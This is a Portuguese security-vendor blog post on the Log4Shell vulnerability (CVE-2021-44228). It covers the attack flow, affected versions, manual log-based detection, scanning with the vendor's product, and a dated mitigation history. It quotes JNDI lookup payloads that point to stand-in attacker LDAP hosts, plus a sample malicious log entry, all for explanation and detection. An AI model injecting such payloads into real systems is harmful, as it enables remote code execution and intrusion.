Av. Hilário Pereira de Souza, 406 - Sala 910 - Osasco/SP (11) 4380-9796
Em 9 de dezembro de 2021, o mundo tomou conhecimento de uma nova vulnerabilidade identificada como CVE-2021-44228, afetando milhões de aplicativos Java que usam a biblioteca log4j.
O Log4j é a biblioteca de registro Java mais popular do mundo, com mais de 400.000 downloads no GitHub. A biblioteca é usada por um grande número de empresas de todos os tamanhos!
Essa vulnerabilidade obteve uma pontuação de CVSS 10.0 (a designação mais crítica) e oferece execução remota de código malicioso em hosts que usam softwares que utilizam o log4j.
O ataque foi apelidado como “Log4Shell“ e já afetou empresas como: Apple, Tencent, Steam, Twitter, Google, Amazon, Tesla, entre várias outras…
Entendendo o Log4Shell
Conforme explicado em log4shell.com ,
1 – Os dados retirados do usuário são enviados ao servidor (por meio de qualquer protocolo).
2 – O servidor registra os dados da solicitação, que incluem a carga maliciosa: ${jndi:ldap://attacker.example.com/abc} (onde attacker.com é um servidor controlado pelo invasor).
3 – Essa carga ativa a vulnerabilidade log4j e o servidor envia uma solicitação para attacker.example.com por meio do protocolo “Java Naming and Directory Interface” (JNDI).
4 – A resposta do servidor controlado pelo invasor inclui uma URL para um arquivo de classe Java remoto (por exemplo, http://second-stage.attacker.example.com/Exploit.class) que é injetado no processo do servidor.
5 – O segundo estágio é acionado pela carga injetada, o que permite que um invasor execute código arbitrário.
Impacto da vulnerabilidade
Log4Shell, é uma vulnerabilidade da classe Remote Code Execution (RCE). Um dos tipos mais perigosos de vulnerabilidades, e permite que o atacante envie um código malicioso para ser executado, uma vez suficientemente comprometido, o invasor pode, de fato, ser capaz de acessar toda e qualquer informação em um servidor! Com a vulnerabilidade Log4Shell, várias outras possibilidades de ataques ficam disponíveis aos atacantes, como: ataques de Ransomware, ataques de DoS e DDOS, Espionagem, Roubo e Vazamentos de dados confidenciais…
Versões vulneráveis do Log4j
Todas as versões entre 2.0-beta9 até a versão 2.15
O primeiro patch (2.15) não resolveu completamente a vulnerabilidade do utilitário Log4Shell, a única ação realizada foi de desabilitar um aspecto de funcionalidade de recuperação de mensagem do JNDI, dessa forma, ainda é possível de ser explorada em certas configurações não originais.
Alvos Comuns de Ataque
- Caixas de entrada, formulários de login de usuário e senha, pontos de entrada de dados dentro de aplicativos;
- Cabeçalhos HTTP, como User-Agent, X-Forwarded-For ou outros cabeçalhos personalizados;
- Qualquer lugar para dados fornecidos pelo usuário!
Como detectar a vulnerabilidade Log4Shell?
- Manualmente:
Selecionar 1 Ativo por vez > Realizar a identificação de Softwares que utilizam o log4j > Realizar a busca pelos logs de cada Software > Verificar Parâmetros vulneráveis a ataques JNDI > Realizar a busca por parâmetros e cargas de ataque em todos os logs. (Realizar essa ação em todos os Ativos da Rede) > Detectar Vulnerabilidade
- Utilizando a EcoTrust:
Selecionar 1 Ativo ou Grupo de Ativos > Criar Scan > Selecionar política Log4Shell > Detectar Vulnerabilidade.
Passo a Passo:
- Manualmente
1.1 – Para iniciar a detecção vá até o diretório onde estão armazenados os Logs da aplicação que utiliza log4j:
Ex: $ locate log4j
Nesse exemplo, utilizaremos como base o Solr Apache!
Ex: $ cd /var/solr/logs
1.2 – Após acessar o diretório de logs, revise os arquivos em busca de entradas com o seguinte formato:
“${jndi:ldap://}”
Esse é o formato de carga de ataque utilizado na vulnerabilidade Log4Shell!
1.3 – Como podemos observar no fim do Log, possuímos cargas de ataque JNDI no vetor “params”, observe que ${jndi:ldap://10.10.10.222:1389/Exploit}
É uma das cargas de ataque utilizadas. Veja:
1.4 – Esse é um exemplo de um ambiente com base Solr Apache sob ataque!
Observação: Você terá que realizar essa verificação manualmente em todos os Softwares e Ativos que utilizam Log4j!
- Utilizando a EcoTrust
2.1 – Dentro da plataforma EcoTrust abra a aba de menus no canto superior esquerdo, na Aba Scanners, clique em “Criar Novo Scan”:
2.2 – Em “Criar Novo Scan”, já com o ativo criado na plataforma, além do nome e descrição do Scan, selecione o Sensor “WebApp” e a política “Scan log4shell (CVE-2021-44228) – WEBAPP” e clique em “Criar novo Scan”:
Política by Akshath Kothari @ricekot_
2.3 – Em ocorrências, você terá todas as vulnerabilidades e informações sobre o ativo! Como podemos perceber, o Log4Shell está presente! Iremos clicar duas vezes em “Log4Shell (CVE-2021-44228)”:
2.4 – Ao clicar no nome da ocorrência o EcoTrust nos oferece a:
Descrição da Vulnerabilidade:
“Apache Log4j2 <= 2.14.1 Os recursos JNDI usados na configuração, mensagens de log e parâmetros não protegem contra o LDAP controlado pelo invasor e outros terminais relacionados ao JNDI. Um invasor que pode controlar mensagens de log ou parâmetros de mensagem de log pode executar código arbitrário carregado de servidores LDAP quando a substituição de pesquisa de mensagem está habilitada.”
Recomendação para a Vulnerabilidade:
“Apache Log4j2 <= 2.14.1 Os recursos JNDI usados na configuração, mensagens de log e parâmetros não protegem contra o LDAP controlado pelo invasor e outros terminais relacionados ao JNDI. Um invasor que pode controlar mensagens de log ou parâmetros de mensagem de log pode executar código arbitrário carregado de servidores LDAP quando a substituição de pesquisa de mensagem está habilitada. A partir do log4j 2.15.0, esse comportamento foi desabilitado por padrão. Em versões anteriores (> 2.10), esse comportamento pode ser atenuado definindo a propriedade do sistema “log4j2.formatMsgNoLookups” como “true” ou pode ser atenuado em versões anteriores (<2.10) removendo a classe JndiLookup do caminho de classe (exemplo: zip – q -d log4j-core – *. jar org / apache / logging / log4j / core / lookup / JndiLookup.class).”
Links de referência:
Em links de Referência, a EcoTrust trará os melhores sites relacionados à vulnerabilidade, com eles você ganhará mais informações sobre a vulnerabilidade em questão, boas práticas de segurança e processos de mitigação!
A9:2017-Using Components with Known Vulnerabilities | OWASP – Este link de referência lhe mostrará boas práticas de Segurança de acordo com o Owasp em relação a Vulnerabilidades Conhecidas!
A06 Vulnerable and Outdated Components – OWASP Top 10:2021 – Este link de referência lhe mostrará boas práticas de Segurança de acordo com o Owasp em relação a Vulnerabilidades Desconhecidas!
4.7.11 Testing for Code Injection – Nesse site do Owasp, você encontrará boas informações sobre como realizar testes de Injeção de Códigos para confirmar tal vulnerabilidade!
OWASP ZAP – Out-of-band Application Security Testing Support – Suporte para teste de segurança de aplicativos fora de banda!
Improper Input Handling – Manipulação de entrada imprópria, mais um site para auxiliar em testes e entendimento de Code Injection!
CVE-2021-44228 Detail – Link de referência na qual nos traz um detalhamento maior da CVE do Log4Shell!
Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package | LunaSec – Várias informações sobre a vulnerabilidade Log4Shell: O que é? Quem são os afetados? Versões Afetadas, Mitigações, Como funciona o ataque? Como identificar? Atualizações…
NVD – CVE-2021-44228 – Base do NIST na qual faz o detalhamento da Vulnerabilidade como Referências a Conselhos, Soluções e Ferramentas!
CWE-117: Improper Output Neutralization for Logs (4.6) – Aqui você encontrará maiores detalhes sobre a Neutralização de saída inadequada!
Atenção: Com a EcoTrust é possível realizar um Scan em vários Ativos/Alvos de uma só vez, na qual facilita a busca por vulnerabilidades do gênero!
Conheça a EcoTrust
Mitigações (Em Constante Atualização)
16/12/2021 – 16:35 – O log4j 2.16.0 foi lançado, o que agora desabilita completamente o JNDI por padrão e remove o suporte para pesquisas de mensagens. Se possível, atualize qualquer instância do log4j para esta versão mais recente!
Na terça-feira, 14 de dezembro, foi descoberto que estes sinalizadores são ineficazes contra certos ataques, parcialmente explicados em CVE-2021-45046.
Histórico de Soluções, neste momento NÃO EFETIVAS:
13/12/2021 – 15:35 – Para as versões >= 2.10:
Definir log4j2.formatMsgNoLookups para true [Não efetivo]
13/12/2021 – 15:40 – Para as versões 2.0 a 2.10.0:
Remova a classe LDAP do Log4J executando o seguinte comando: [Não efetivo]
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class [Não efetivo]
13/12/2021 – 15:52 – Defina a propriedade do sistema log4j2.formatMsgNoLookups para true [Não efetivo]
—-
Atenção: Apenas atualizar o Log4j não significa que estará 100% concluída a fase de mitigação, após atualizar, realize uma verificação no ambiente para se certificar de que não possui nenhum vestígio de Cripto Mineradores ou Ransomware afetando o ambiente ou que não exista algum outro ataque em andamento!
Observação: Log4J v1 é End Of Life (EOL) e não receberá patches de atualização para essa vulnerabilidade. O Log4J v1 também é vulnerável a outros vetores RCE e recomendamos que você migre para o Log4J 2.16.0 sempre que possível.
